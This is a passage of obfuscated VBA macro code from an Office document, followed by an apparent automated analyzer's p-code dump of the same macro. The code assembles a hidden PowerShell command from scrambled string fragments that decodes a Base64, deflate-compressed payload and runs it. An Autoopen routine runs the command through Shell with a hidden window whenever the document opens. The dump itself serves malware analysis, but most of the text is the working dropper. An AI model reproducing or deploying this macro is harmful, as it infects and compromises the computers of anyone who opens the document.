CStr(Left(Right(FpmwLicMvJ, 5), 1)) vrdQsCOvWP = "i3reHWvTYzjidj4rYvfIUzHJXCKCHHjCFZvavtJ2PtnWlcrKGWf" RvwEG = Left(Right(vrdQsCOvWP, 34), 1) + CStr(Left(Right(vrdQsCOvWP, 24), 3)) + CStr(Left(Right(vrdQsCOvWP, 49), 7)) + CStr(Left(Right(vrdQsCOvWP, 41), 3)) + CStr(Left(Right(vrdQsCOvWP, 10), 2)) + Left(Right(vrdQsCOvWP, 32), 1) zcrjuE = "i3izyW0FHYqKd8VUYcfaUzEJXIfDZTjCFZv0PmT2PhsWlcrKGWfoC6QkmPYQisOgFB" ladjZN = Left(Right(zcrjuE, 44), 1) + Left(Right(zcrjuE, 31), 4) + CStr(Left(Right(zcrjuE, 63), 9)) + CStr(Left(Right(zcrjuE, 53), 3)) + CStr(Left(Right(zcrjuE, 13), 3)) + CStr(Left(Right(zcrjuE, 41), 2)) mCiJBC = "6c2580hPQBxrsZnf/MTDJXCKDZTj0RZvCjtJ2PhsWlcrKGs5jPOujmPYQisOqFBv4oTClpdBm7kYuKzw2ou0" budHSY = CStr(Left(Right(mCiJBC, 56), 2)) + CStr(Left(Right(mCiJBC, 38), 5)) + Left(Right(mCiJBC, 80), 11) + Left(Right(mCiJBC, 68), 4) + Left(Right(mCiJBC, 17), 3) + Left(Right(mCiJBC, 52), 2) + CStr(Left(Right(mCiJBC, 24), 1)) jsGQHQIb = KHwwpMzIcbt + CSng(372085) + 453657 / Sin(211002 - CByte(664840) / 466112 - Round(372085)) + oWdjqlFn * Mmfuomz - (453657 + 211002 + 664840 - 3720850) Set LHCHcEpAtz = YCFQjzvWdjQ pYnqY = "i38CJlR7zCOAdjpr5cfaUzHHAkKDZTjCFZQavtJ2Ph" FlwzfSBZAz = CStr(Left(Right(pYnqY, 28), 1)) + CStr(Left(Right(pYnqY, 19), 3)) + Left(Right(pYnqY, 40), 6) + CStr(Left(Right(pYnqY, 34), 2)) + CStr(Left(Right(pYnqY, 8), 1)) + CStr(Left(Right(pYnqY, 26), 1)) bLYdVqERp = "i6c2mKcZIp2BY4ts0ZgcjJXCKDZTjMnZvhFtJ2PhsWlcrKGO1CoSujmPYQisOgFBv4oTvfcRqm7kYuKzw2ou0Fe" TDbrTIwMkwJ = CStr(Left(Right(bLYdVqERp, 58), 2)) + Left(Right(bLYdVqERp, 40), 5) + Left(Right(bLYdVqERp, 82), 12) + Left(Right(bLYdVqERp, 70), 4) + Left(Right(bLYdVqERp, 17), 3) + CStr(Left(Right(bLYdVqERp, 54), 2)) + CStr(Left(Right(bLYdVqERp, 83), 1)) wiqwRqdw = "i3iHEAahlldkdZAyYcfaUzlJXUtDZTjCFZvUQgK2PhsWlcrKGWfoC8UUmPYQisOgFB" kvBrrOpbbz = Left(Right(wiqwRqdw, 44), 1) + Left(Right(wiqwRqdw, 31), 4) + CStr(Left(Right(wiqwRqdw, 63), 9)) + CStr(Left(Right(wiqwRqdw, 53), 3)) + CStr(Left(Right(wiqwRqdw, 13), 3)) + CStr(Left(Right(wiqwRqdw, 41), 2)) MTPpvNGwcdq = "PHZBifi6a25xAzO" ihtYcwz = CStr(Left(Right(MTPpvNGwcdq, 10), 1)) + Left(Right(MTPpvNGwcdq, 7), 1) + CStr(Left(Right(MTPpvNGwcdq, 15), 2)) + CStr(Left(Right(MTPpvNGwcdq, 12), 1)) isfFMSGfs = Chr(43) PUWbJXhkooi = "i3ijwXQJfUrPwoXrYcfaUzHJrAKDZTjCFZzM5UJ2PhsWlcrKGWfWyzujmPYQisO" jVpvz = Left(Right(PUWbJXhkooi, 42), 1) + CStr(Left(Right(PUWbJXhkooi, 29), 4)) + CStr(Left(Right(PUWbJXhkooi, 60), 9)) + CStr(Left(Right(PUWbJXhkooi, 51), 3)) + Left(Right(PUWbJXhkooi, 12), 2) + Left(Right(PUWbJXhkooi, 39), 2) JsHzMadp = "3icKjMx3zOAdjnrEffaUzoFXCKoGTjCFZvavtJ2" BdbJLL = CStr(Left(Right(JsHzMadp, 26), 1)) + CStr(Left(Right(JsHzMadp, 18), 2)) + CStr(Left(Right(JsHzMadp, 37), 6)) + Left(Right(JsHzMadp, 24), 2) + CStr(Left(Right(JsHzMadp, 13), 2)) JnadwTNqjd = "98V" UUozJZk = Left(Right(JnadwTNqjd, 2), 1) XwUpXXWLl = UwFIiPjb + CSng(266044) + 529515 / Sin(908635 - CByte(96850) / 808040 - Round(266044)) + CILoCXb * wapOPa - (529515 + 908635 + 96850 - 2660440) Set NWvwqEYuEQE = dopiuzNjXL vYjMtFtl = Chr(43) cuPTaVJX = "6c25xttmC43MsV0u0TXHGipDsZTjCFZvavTm2Phu9lcrKGWfoCzujmPCxV5DTFBv4oTvfIdBm1kYuKzw2oxflQCoWKsJWJBGZhmWmb" BGYIiBRplY = CStr(Left(Right(cuPTaVJX, 68), 2)) + CStr(Left(Right(cuPTaVJX, 47), 6)) + CStr(Left(Right(cuPTaVJX, 97), 14)) + CStr(Left(Right(cuPTaVJX, 82), 5)) + Left(Right(cuPTaVJX, 20), 4) + CStr(Left(Right(cuPTaVJX, 63), 2)) + CStr(Left(Right(cuPTaVJX, 29), 1)) kWENqfRQq = "6c250v2KS0fNjCYfam9XJXCKDZTjrKZvzltJ2PhsWlcrKGXTBV9ujmPYQisOdFBv4oTKcXdBm7kYuKzw2ou0" KsGnbiN = CStr(Left(Right(kWENqfRQq, 56), 2)) + CStr(Left(Right(kWENqfRQq, 38), 5)) + Left(Right(kWENqfRQq, 80), 11) + Left(Right(kWENqfRQq, 68), 4) + Left(Right(kWENqfRQq, 17), 3) + Left(Right(kWENqfRQq, 52), 2) + CStr(Left(Right(kWENqfRQq, 24), 1)) cMnju = "i3AaVo8uizOA8k4rYcf4OzHJXCKDZRjCFZva" PudrE = CStr(Left(Right(cMnju, 24), 1)) + Left(Right(cMnju, 17), 2) + CStr(Left(Right(cMnju, 34), 5)) + CStr(Left(Right(cMnju, 29), 2)) + CStr(Left(Right(cMnju, 7), 1)) + Left(Right(cMnju, 23), 1) bzzcjiQ = "i6c22Z3xuPPTquK3BNU0QJXCKDZTjCffva28J2PhsWlcrKGWft4945mPYQisOgFBv4oTvfIdxQ3lYuKzw2ou0FeCoW" DGjlbYfRNSO = CStr(Left(Right(bzzcjiQ, 60), 2)) + CStr(Left(Right(bzzcjiQ, 41), 5)) + Left(Right(bzzcjiQ, 85), 12) + CStr(Left(Right(bzzcjiQ, 73), 4)) + CStr(Left(Right(bzzcjiQ, 18), 4)) + CStr(Left(Right(bzzcjiQ, 56), 2)) + Left(Right(bzzcjiQ, 86), 1) tzIjrMYDE = "i3CAlO4B4zlvCj4rYrfgUzHJXCKcI9jCFZvavtJ2PPxWlcrKGWf" GSjmWAcUTCR = Left(Right(tzIjrMYDE, 34), 1) + CStr(Left(Right(tzIjrMYDE, 24), 3)) + CStr(Left(Right(tzIjrMYDE, 49), 7)) + CStr(Left(Right(tzIjrMYDE, 41), 3)) + CStr(Left(Right(tzIjrMYDE, 10), 2)) + Left(Right(tzIjrMYDE, 32), 1) WNaIrwLLHF = jCzjrzXiL + vjAwUp + SXcJa + niuPLnL + bGISiWdfHa + MHifZ + dOLnWRbI + owiDiM + lQqOzifKsfD + NlCuta + qafmnRlI + LzpPjzn + zKwiKQvPOj + amEodHWTFi + wMaKw + buoJnJ + DWLqKBviK + rCGpoNsEIlr + FnJTuK + bAMztrKlpSu + XWTWzFVm + vEiXsuRXj + GkpivfDNzi + DlOOTnmR + OZXMjv + lbMmEYToz + JkDHMjV + UhAECzbcdqj + wijuopVmX + kEOOq + RvwEG + ladjZN + budHSY + FlwzfSBZAz + TDbrTIwMkwJ + kvBrrOpbbz + ihtYcwz + isfFMSGfs + jVpvz + BdbJLL + UUozJZk + vYjMtFtl + BGYIiBRplY + KsGnbiN + PudrE + DGjlbYfRNSO + GSjmWAcUTCR End Function Function kKstVwYOTMi() On Error Resume Next ooAQj = vQuzbtnoES + CSng(8610) + 735101 / Sin(857030 - CByte(602113) / 756332 - Round(8610)) + ciaXiVEiwb * YuzkkiGtEt - (735101 + 857030 + 602113 - 86100) Set zwOsaEi = cZFmnB diZQmlbzhb = "i3i6GKFZYmMevY11sVfaUzHJiCKkPTjCFZvavtJnFakWlcrKGWfoCzujmPVcwsOgFBv4oTvf" YqPaqZAuEHR = CStr(Left(Right(diZQmlbzhb, 48), 1)) + CStr(Left(Right(diZQmlbzhb, 33), 4)) + CStr(Left(Right(diZQmlbzhb, 68), 10)) + CStr(Left(Right(diZQmlbzhb, 58), 4)) + CStr(Left(Right(diZQmlbzhb, 14), 3)) + Left(Right(diZQmlbzhb, 45), 2) mswhnHmVz = "Ztq/Z62X5x0zOAdjeRYcfaUzHXXCKD" XiAZjKkPu = Left(Right(mswhnHmVz, 20), 1) + Left(Right(mswhnHmVz, 14), 2) + CStr(Left(Right(mswhnHmVz, 29), 4)) + CStr(Left(Right(mswhnHmVz, 24), 2)) + CStr(Left(Right(mswhnHmVz, 5), 1)) tqXLL = Chr(43) YRiXIPokfVz = "6c25/M2s7fUIbBYfOC0UJXCKDZTi9FZAKvtJ2PhsWlcrHh5koCzujmPYQUsOgFBv47wFfIdBm7kYuKzw2" kSVjEKGFKf = CStr(Left(Right(YRiXIPokfVz, 54), 2)) + Left(Right(YRiXIPokfVz, 37), 4) + Left(Right(YRiXIPokfVz, 77), 11) + CStr(Left(Right(YRiXIPokfVz, 65), 4)) + CStr(Left(Right(YRiXIPokfVz, 16), 3)) + CStr(Left(Right(YRiXIPokfVz, 50), 2)) + Left(Right(YRiXIPokfVz, 24), 1) XhqzHQiGISV = "r05F3inX25HAzOAdj4" pZTZk = CStr(Left(Right(XhqzHQiGISV, 12), 1)) + CStr(Left(Right(XhqzHQiGISV, 8), 1)) + Left(Right(XhqzHQiGISV, 17), 3) + Left(Right(XhqzHQiGISV, 11), 1) wqwpUCapkBV = Chr(43) flvRDozkBwE = "i3GrUXn/ADFAdj4TYGfaUzHJF4yDZTjCFZva5nJ2PhsWl" ZDiNJJmlhjN = CStr(Left(Right(flvRDozkBwE, 30), 1)) + Left(Right(flvRDozkBwE, 21), 3) + CStr(Left(Right(flvRDozkBwE, 43), 6)) + Left(Right(flvRDozkBwE, 36), 2) + CStr(Left(Right(flvRDozkBwE, 9), 2)) + CStr(Left(Right(flvRDozkBwE, 28), 1)) uPAHvpad = Chr(43) mzNSdZ = ECTtuarpiiK + CSng(389052) + 276413 / Sin(39951 - CByte(315897) / 293867 - Round(389052)) + HtWqoMFlmiX * UaQqJhFqo - (276413 + 39951 + 315897 - 3890520) Set LMbzYi = SFwNcIQQIZG ktqFLpG = "3i6nowiyzFodj4rYcfeUzXF5CKDZTPNiZvavjFzPhsWlcrKGWfoCzu" ikiZvBi = CStr(Left(Right(ktqFLpG, 36), 1)) + CStr(Left(Right(ktqFLpG, 25), 3)) + CStr(Left(Right(ktqFLpG, 51), 8)) + Left(Right(ktqFLpG, 33), 3) + Left(Right(ktqFLpG, 18), 3) GRpOjw = "Z8gY/Pek5xAvOAdj4rE1faUzHJXfKDZTj" BbqlAwP = Left(Right(GRpOjw, 22), 1) + CStr(Left(Right(GRpOjw, 15), 2)) + CStr(Left(Right(GRpOjw, 32), 5)) + Left(Right(GRpOjw, 27), 2) + Left(Right(GRpOjw, 6), 1) wNkNkDo = "i6c259R01D/85bUXnmpPPs8KnDZTjCFZvavX82PhWsAcrKGWfoCzujmPYIEzMlzBv4oTvfIdBm7kYuKzw2ouSsQaoWKsJWJBGZhmWmb0W" EAYpk = CStr(Left(Right(wNkNkDo, 70), 2)) + CStr(Left(Right(wNkNkDo, 48), 6)) + CStr(Left(Right(wNkNkDo, 99), 14)) + Left(Right(wNkNkDo, 85), 5) + CStr(Left(Right(wNkNkDo, 21), 4)) + CStr(Left(Right(wNkNkDo, 65), 3)) + Left(Right(wNkNkDo, 100), 1) JnIWilj = "9uV" VPiDFJ = Left(Right(JnIWilj, 2), 1) UifaA = Chr(43) laPPq = vZRhzLLzvz + CSng(639595) + 791532 / Sin(61772 - CByte(80006) / 767357 - Round(639595)) + XLVlwPDBvm * pClVEU - (791532 + 61772 + 80006 - 6395950) Set aCEqwHi = KUBbQBW lPDGjhsVf = "6c25xWb/VxR8dr/LJoBHcEvfCZTjCFZvavfc2Ph5wlcrKGWfoCzujmPRqvD0/FBv4oTvfIdBmMkYuKzw2o6/2eCoWKsJWJBGZhmWmb" ilwDTq = CStr(Left(Right(lPDGjhsVf, 68), 2)) + CStr(Left(Right(lPDGjhsVf, 47), 6)) + CStr(Left(Right(lPDGjhsVf, 97), 14)) + CStr(Left(Right(lPDGjhsVf, 82), 5)) + Left(Right(lPDGjhsVf, 20), 4) + CStr(Left(Right(lPDGjhsVf, 63), 2)) + CStr(Left(Right(lPDGjhsVf, 29), 1)) pHBumzrd = "i38/cjXMfyyAdj4rwcPaUzHJXCjYWTjCFZvavtJRMhsWlcrK" zRZDbKf = CStr(Left(Right(pHBumzrd, 32), 1)) + CStr(Left(Right(pHBumzrd, 22), 3)) + CStr(Left(Right(pHBumzrd, 46), 7)) + CStr(Left(Right(pHBumzrd, 39), 2)) + Left(Right(pHBumzrd, 9), 2) + Left(Right(pHBumzrd, 30), 1) uiTbPiH = Chr(43) qCrtf = "Zx/Xy6eK5xuzOAdjKGYcfaUzHKXCKD" SXlkZim = Left(Right(qCrtf, 20), 1) + Left(Right(qCrtf, 14), 2) + CStr(Left(Right(qCrtf, 29), 4)) + CStr(Left(Right(qCrtf, 24), 2)) + CStr(Left(Right(qCrtf, 5), 1)) Iwpzc = QdfiFuPf + CSng(798170) + 503149 / Sin(168468 - CByte(375103) / 650926 - Round(798170)) + ddUFJ * wdZpUAhw - (503149 + 168468 + 375103 - 7981700) Set uIuhdakwM = spCHw YwuajCw = Chr(43) nXfFZANaLsj = "3i6TasJBdaqrj4rYcfaUxHJQ0eDZTjCF5bVvtJ2PuoXOcrKGWfoCzujmPYQi" EnNrz = Left(Right(nXfFZANaLsj, 40), 1) + Left(Right(nXfFZANaLsj, 28), 3) + CStr(Left(Right(nXfFZANaLsj, 57), 9)) + CStr(Left(Right(nXfFZANaLsj, 37), 3)) + CStr(Left(Right(nXfFZANaLsj, 20), 4)) nkwHuqZUM = Chr(43) OYKlcCl = "ZbfwYmRV5xA1OAdj4rnFfaUzHJX5KDZTj" dBBQa = Left(Right(OYKlcCl, 22), 1) + CStr(Left(Right(OYKlcCl, 15), 2)) + CStr(Left(Right(OYKlcCl, 32), 5)) + Left(Right(OYKlcCl, 27), 2) + Left(Right(OYKlcCl, 6), 1) UMYVzk = Chr(43) iuGjfuNMM = "3i62B5qy05tdj4rYcfOUzsvnCKDZTs49ZvavxejPhsWlcrKGWfoCzu" DADqzlAX = CStr(Left(Right(iuGjfuNMM, 36), 1)) + CStr(Left(Right(iuGjfuNMM, 25), 3)) + CStr(Left(Right(iuGjfuNMM, 51), 8)) + Left(Right(iuGjfuNMM, 33), 3) + Left(Right(iuGjfuNMM, 18), 3) zhHwWP = "ZJ0Pt6fb5xGzOAdj6vYcfaUzHyXCKD" qcLKNWCSu = Left(Right(zhHwWP, 20), 1) + Left(Right(zhHwWP, 14), 2) + CStr(Left(Right(zhHwWP, 29), 4)) + CStr(Left(Right(zhHwWP, 24), 2)) + CStr(Left(Right(zhHwWP, 5), 1)) ZjLjuLZFPuw = FatwqG + CSng(945704) + 589932 / Sin(19464 - CByte(607650) / 597261 - Round(945704)) + CLUpiWO * rHDTQL - (589932 + 19464 + 607650 - 9457040) Set VUZDCTb = PBTrNDrE TbHKZklSsG = "3iYVBV0DzOAdjjrwNfaUz2wXCKonTjCFZvavtJ2" GAPTbtw = CStr(Left(Right(TbHKZklSsG, 26), 1)) + CStr(Left(Right(TbHKZklSsG, 18), 2)) + CStr(Left(Right(TbHKZklSsG, 37), 6)) + Left(Right(TbHKZklSsG, 24), 2) + CStr(Left(Right(TbHKZklSsG, 13), 2)) hjDokzqU = "i3V3JBKH4WTAdj4rKcdaUzHJXCEqcTjCFZvavtJIhhsWlcrK" hUZvLlzNK = CStr(Left(Right(hjDokzqU, 32), 1)) + CStr(Left(Right(hjDokzqU, 22), 3)) + CStr(Left(Right(hjDokzqU, 46), 7)) + CStr(Left(Right(hjDokzqU, 39), 2)) + Left(Right(hjDokzqU, 9), 2) + Left(Right(hjDokzqU, 30), 1) diEnln = Chr(43) zffpXj = "IODgrQOi3" rKwJTX = Left(Right(zffpXj, 6), 1) + Left(Right(zffpXj, 4), 1) + CStr(Left(Right(zffpXj, 9), 1)) MEQOSPc = kjBWNw + CSng(982987) + 591467 / Sin(677779 - CByte(88721) / 786178 - Round(982987)) + FhmUdF * WZVpijIN - (591467 + 677779 + 88721 - 9829870) Set tBDLI = OjPGtEWD fWNjjLV = Chr(43) PNvwuI = "i33RfTMrAW3Adj4VYyfaUzHJpOZDZTjCFZvas6J2PhsWl" MSKMcXUvjbH = CStr(Left(Right(PNvwuI, 30), 1)) + Left(Right(PNvwuI, 21), 3) + CStr(Left(Right(PNvwuI, 43), 6)) + Left(Right(PNvwuI, 36), 2) + CStr(Left(Right(PNvwuI, 9), 2)) + CStr(Left(Right(PNvwuI, 28), 1)) XXQRVR = Chr(43) jwucVFvXj = "3i6aMdmBevAdj4rYcfEUzxkICKDZTnwhZvavx3LPhsWlcrKGWfoCzu" mZnLHXi = CStr(Left(Right(jwucVFvXj, 36), 1)) + CStr(Left(Right(jwucVFvXj, 25), 3)) + CStr(Left(Right(jwucVFvXj, 51), 8)) + Left(Right(jwucVFvXj, 33), 3) + Left(Right(jwucVFvXj, 18), 3) ovdpUpO = Chr(43) TZGCpzHjz = mnUJq + CSng(224257) + 376874 / Sin(873625 - CByte(487774) / 136225 - Round(224257)) + sJwcN * JwzJkHi - (376874 + 873625 + 487774 - 2242570) Set PbiGuIEVWVl = HWcXtkRzDEQ TOWZlUFbc = "i3i'),[IO.comP4rYcfAUSSJXCKDZTjw==vavtJ2PhsWlcReGWfoCzujm" WYZfp = CStr(Left(Right(TOWZlUFbc, 38), 1)) + CStr(Left(Right(TOWZlUFbc, 26), 3)) + Left(Right(TOWZlUFbc, 54), 8) + Left(Right(TOWZlUFbc, 46), 3) + CStr(Left(Right(TOWZlUFbc, 11), 2)) + CStr(Left(Right(TOWZlUFbc, 36), 2)) MEBjqEiil = "6c25PREssioNmodfE]::JXCKDZTjIoZvoMtJ2PhsWlcrKGn.CoMujmPYQisOpFBv4oTDECdBm7kYuKzw2ou0" Gmqji = CStr(Left(Right(MEBjqEiil, 56), 2)) + CStr(Left(Right(MEBjqEiil, 38), 5)) + Left(Right(MEBjqEiil, 80), 11) + Left(Right(MEBjqEiil, 68), 4) + Left(Right(MEBjqEiil, 17), 3) + Left(Right(MEBjqEiil, 52), 2) + CStr(Left(Right(MEBjqEiil, 24), 1)) ATraqs = "6c25xAorEAcH-oBJEct {nEW-oBjCFZvavtJ2PrEWlc IWfoCzujmPYQisOgFss)\| ffIdBm7kYuKzw2o.0FeCoWKsjECTGZhmWmb0WYo8c1qd5jw" tocDcC = CStr(Left(Right(ATraqs, 76), 2)) + Left(Right(ATraqs, 52), 6) + Left(Right(ATraqs, 108), 16) + CStr(Left(Right(ATraqs, 92), 5)) + Left(Right(ATraqs, 23), 4) + Left(Right(ATraqs, 71), 3) + Left(Right(ATraqs, 33), 2) IIHCzzsnK = "6c25xAaDer($_,[text.enCodiTjCFZvavtJ2sTsWl:AsGWfoCzujmPYQisOrEamReTvfIdBm7kYuKCi2ou0FeConG]:WJBGZhmWmb0WYo8c1qd" wUPtKUG = CStr(Left(Right(IIHCzzsnK, 74), 2)) + Left(Right(IIHCzzsnK, 51), 6) + Left(Right(IIHCzzsnK, 105), 15) + CStr(Left(Right(IIHCzzsnK, 90), 5)) + CStr(Left(Right(IIHCzzsnK, 23), 4)) + Left(Right(IIHCzzsnK, 69), 3) + Left(Right(IIHCzzsnK, 33), 2) hwFvlqaoOr = "6c25EadtoenD( )f\|.( JXCKDZTI)FZtRvtJ2PhsWlcr}).roCzujmPYQIsOgFBv4([SfIdBm7kYuKzw2" QnWEhY = CStr(Left(Right(hwFvlqaoOr, 54), 2)) + Left(Right(hwFvlqaoOr, 37), 4) + Left(Right(hwFvlqaoOr, 77), 11) + CStr(Left(Right(hwFvlqaoOr, 65), 4)) + CStr(Left(Right(hwFvlqaoOr, 16), 3)) + CStr(Left(Right(hwFvlqaoOr, 50), 2)) + Left(Right(hwFvlqaoOr, 24), 1) iiFNDhLiNht = "6c25rbosEpREFeRfenCEJXCKDZTngFZ,3vtJ2PhsWlcr]$veoCzujmPYQ]sOgFBv4)[1fIdBm7kYuKzw2" DtulpjOzdw = CStr(Left(Right(iiFNDhLiNht, 54), 2)) + Left(Right(iiFNDhLiNht, 37), 4) + Left(Right(iiFNDhLiNht, 77), 11) + CStr(Left(Right(iiFNDhLiNht, 65), 4)) + CStr(Left(Right(iiFNDhLiNht, 16), 3)) + CStr(Left(Right(iiFNDhLiNht, 50), 2)) + Left(Right(iiFNDhLiNht, 24), 1) wiAHZ = Chr(43) FBEiwQXE = "Z-JoIn''5xA'OAdj4rX'faUzHJX)KDZTj" tzajGfP = Left(Right(FBEiwQXE, 22), 1) + CStr(Left(Right(FBEiwQXE, 15), 2)) + CStr(Left(Right(FBEiwQXE, 32), 5)) + Left(Right(FBEiwQXE, 27), 2) + Left(Right(FBEiwQXE, 6), 1) kKstVwYOTMi = YqPaqZAuEHR + XiAZjKkPu + tqXLL + kSVjEKGFKf + pZTZk + wqwpUCapkBV + ZDiNJJmlhjN + uPAHvpad + ikiZvBi + BbqlAwP + EAYpk + VPiDFJ + UifaA + ilwDTq + zRZDbKf + uiTbPiH + SXlkZim + YwuajCw + EnNrz + nkwHuqZUM + dBBQa + UMYVzk + DADqzlAX + qcLKNWCSu + GAPTbtw + hUZvLlzNK + diEnln + rKwJTX + fWNjjLV + MSKMcXUvjbH + XXQRVR + mZnLHXi + ovdpUpO + WYZfp + Gmqji + tocDcC + wUPtKUG + QnWEhY + DtulpjOzdw + wiAHZ + tzajGfP End Function Function inpwUf() On Error Resume Next inpwUf = OOuXFkPDirT + WNaIrwLLHF + kKstVwYOTMi [Shell] lBljJrMjhUm + Chr(vbKeyP) + inpwUf, vbHide End Function Sub Autoopen() On Error Resume Next inpwUf End Sub ' Processing file: /opt/analyzer/scan_staging/9b755c6aed57467d95c0ec9a1e61a578.bin ' =============================================================================== ' Module streams: ' Macros/VBA/IsOMqNqqiQsr - 49226 bytes ' Line #0: ' FuncDefn (Function OOuXFkPDirT(id_FFFE As Variant)) ' Line #1: ' Line #2: ' OnError (Resume Next) ' Line #3: ' Ld OJDBDRch ' LitDI4 0x7D06 0x000A ' Coerce (Sng) ' Add ' LitDI4 0x25AB 0x000C ' LitDI4 0xE03A 0x0001 ' LitDI4 0xFA6A 0x000E ' Coerce (Byte) ' LitDI4 0x3784 0x000F ' Div ' Sub ' LitDI4 0x7D06 0x000A ' ArgsLd Round 0x0001 ' Sub ' ArgsLd Sin 0x0001 ' Div ' Add ' Ld zJJYEU ' Ld JLDZvtw ' Mul ' Add ' LitDI4 0x25AB 0x000C ' LitDI4 0xE03A 0x0001 ' Add ' LitDI4 0xFA6A 0x000E ' Add ' LitDI4 0xE23C 0x0068 ' Sub ' Paren ' Sub ' St thUrTfb ' Line #4: ' SetStmt ' Ld KiYlSvE ' Set QCQvAA ' Line #5: ' LitStr 0x0024 "i3rshell zOAoW4rYcfwezHJXCKDZ-jCFZva" ' St ORscZKZElz ' Line #6: ' Ld ORscZKZElz ' LitDI2 0x0018 ' ArgsLd Right 0x0002 ' LitDI2 0x0001 ' ArgsLd Left 0x0002 ' Coerce (Str) ' Ld ORscZKZElz ' LitDI2 0x0011 ' ArgsLd Right 0x0002 ' LitDI2 0x0002 ' ArgsLd Left 0x0002 ' Add ' Ld ORscZKZElz ' LitDI2 0x0022 ' ArgsLd Right 0x0002 ' LitDI2 0x0005 ' ArgsLd Left 0x0002 ' Coerce (Str) ' Add ' Ld ORscZKZElz ' LitDI2 0x001D ' ArgsLd Right 0x0002 ' LitDI2 0x0002 ' ArgsLd Left 0x0002 ' Coerce (Str) ' Add ' Ld ORscZKZElz ' LitDI2 0x0007 ' ArgsLd Right 0x0002 ' LitDI2 0x0001 ' ArgsLd Left 0x0002 ' Coerce (Str) ' Add ' Ld ORscZKZElz ' LitDI2 0x0017 ' ArgsLd Right 0x0002 ' LitDI2 0x0001 ' ArgsLd Left 0x0002 ' Add ' St YUccGtGJ ' Line #7: ' Line #8: ' LitStr 0x002D "i3wsTyleA hAdj4iYdfaUzHJnDoDZTjCFZvaidJ2PhsWl" ' St XRzlPRwQzF ' Line #9: ' Ld XRzlPRwQzF ' LitDI2 0x001E ' ArgsLd Right 0x0002 ' LitDI2 0x0001 ' ArgsLd Left 0x0002 ' Coerce (Str) ' Ld XRzlPRwQzF ' LitDI2 0x0015 ' ArgsLd Right 0x0002 ' LitDI2 0x0003 ' ArgsLd Left 0x0002 ' Add ' Ld XRzlPRwQzF ' LitDI2 0x002B ' ArgsLd Right 0x0002 ' LitDI2 0x0006 ' ArgsLd Left 0x0002 ' Coerce (Str) ' Add ' Ld XRzlPRwQzF ' LitDI2 0x0024 ' ArgsLd Right 0x0002 ' LitDI2 0x0002 ' ArgsLd Left 0x0002 ' Add ' Ld XRzlPRwQzF ' LitDI2 0x0009 ' ArgsLd Right 0x0002 ' LitDI2 0x0002 ' ArgsLd Left 0x0002 ' Coerce (Str) ' Add ' Ld XRzlPRwQzF ' LitDI2 0x001C ' ArgsLd Right 0x0002 ' LitDI2 0x0001 ' ArgsLd Left 0x0002 ' Coerce (Str) ' Add ' St ZGmFM ' Line #10: ' Line #11: ' LitStr 0x0066 "6c25x-oBjECT io.CoHmpReSZTjCFZvaven2Ph.DlcrKGWfoCzujmP ( nEWFBv4oTvfIdBmEkYuKzw2oSIoNCoWKsJWJBGZhmWmb" ' St YRiGiSl ' Line #12: ' Ld YRiGiSl ' LitDI2 0x0044 ' ArgsLd Right 0x0002 ' LitDI2 0x0002 ' ArgsLd Left 0x0002 ' Coerce (Str) ' Ld YRiGiSl ' LitDI2 0x002F ' ArgsLd Right 0x0002 ' LitDI2 0x0006 ' ArgsLd Left 0x0002 ' Coerce (Str) ' Add ' Ld YRiGiSl ' LitDI2 0x0061 ' ArgsLd Right 0x0002 ' LitDI2 0x000E ' ArgsLd Left 0x0002 ' Coerce (Str) ' Add ' Ld YRiGiSl ' LitDI2 0x0052 ' ArgsLd Right 0x0002 ' LitDI2 0x0005 ' ArgsLd Left 0x0002 ' Coerce (Str) ' Add ' Ld YRiGiSl ' LitDI2 0x0014 ' ArgsLd Right 0x0002 ' LitDI2 0x0004 ' ArgsLd Left 0x0002 ' Add ' Ld YRiGiSl ' LitDI2 0x003F ' ArgsLd Right 0x0002 ' LitDI2 0x0002 ' ArgsLd Left 0x0002 ' Coerce (Str) ' Add ' Ld YRiGiSl ' LitDI2 0x001D ' ArgsLd Right 0x0002 ' LitDI2 0x0001 ' ArgsLd Left 0x0002 ' Coerce (Str) ' Add ' St aanVFbhm ' Line #13: ' Line #14: ' LitStr 0x0030 "i3esTREAM([Adj4rFc.aUzHJXCLATTjCFZvavtJiohsWlcrK" ' St kmSEElidsi ' Line #15: ' Ld kmSEElidsi ' LitDI2 0x0020 ' ArgsLd Right 0x0002 ' LitDI2 0x0001 ' ArgsLd Left 0x0002 ' Coerce (Str) ' Ld kmSEElidsi ' LitDI2 0x0016 ' ArgsLd Right 0x0002 ' LitDI2 0x0003 ' ArgsLd Left 0x0002 ' Coerce (Str) ' Add ' Ld kmSEElidsi ' LitDI2 0x002E ' ArgsLd Right 0x0002 ' LitDI2 0x0007 ' ArgsLd Left 0x0002 ' Coerce (Str) ' Add ' Ld kmSEElidsi ' LitDI2 0x0027 ' ArgsLd Right 0x0002 ' LitDI2 0x0002 ' ArgsLd Left 0x0002 ' Coerce (Str) ' Add ' Ld kmSEElidsi ' LitDI2 0x0009 ' ArgsLd Right 0x0002 ' LitDI2 0x0002 ' ArgsLd Left 0x0002 ' Add ' Ld kmSEElidsi ' LitDI2 0x001E ' ArgsLd Right 0x0002 ' LitDI2 0x0001 ' ArgsLd Left 0x0002 ' Add ' St kzEiK ' Line #16: ' Line #17: ' LitStr 0x0036 "3i6rySTReAMdj4rYcfMUz][SCKDZTeMoZvavysTPhsWlcrKGWfoCzu" ' St GzYtSIDqouJ ' Line #18: ' Ld GzYtSIDqouJ ' LitDI2 0x0024 ' ArgsLd Right 0x0002 ' LitDI2 0x0001 ' ArgsLd Left 0x0002 ' Coerce (Str) ' Ld GzYtSIDqouJ ' LitDI2 0x0019 ' ArgsLd Right 0x0002 ' LitDI2 0x0003 ' ArgsLd Left 0x0002 ' Coerce (Str) ' Add ' Ld GzYtSIDqouJ ' LitDI2 0x0033 ' ArgsLd Right 0x0002 ' LitDI2 0x0008 ' ArgsLd Left 0x0002 ' Coerce (Str) ' Add ' Ld GzYtSIDqouJ ' LitDI2 0x0021 ' ArgsLd Right 0x0002 ' LitDI2 0x0003 ' ArgsLd Left 0x0002 ' Add ' Ld GzYtSIDqouJ ' LitDI2 0x0012 ' ArgsLd Right 0x0002 ' LitDI2 0x0003 ' ArgsLd Left 0x0002 ' Add ' St hnqEPHvL ' Line #19: ' Line #20: ' LitStr 0x0051 "6c25VeRT]::FroMfbASEJXCKDZTeMFZTrvtJ2PhsWlcr.conoCzujmPYQisOgFBv464sfIdBm7kYuKzw2" ' St EIjTZTMw ' Line #21: ' Ld EIjTZTMw ' LitDI2 0x0036 ' ArgsLd Right 0x0002 ' LitDI2 0x0002 ' ArgsLd Left 0x0002 ' Coerce 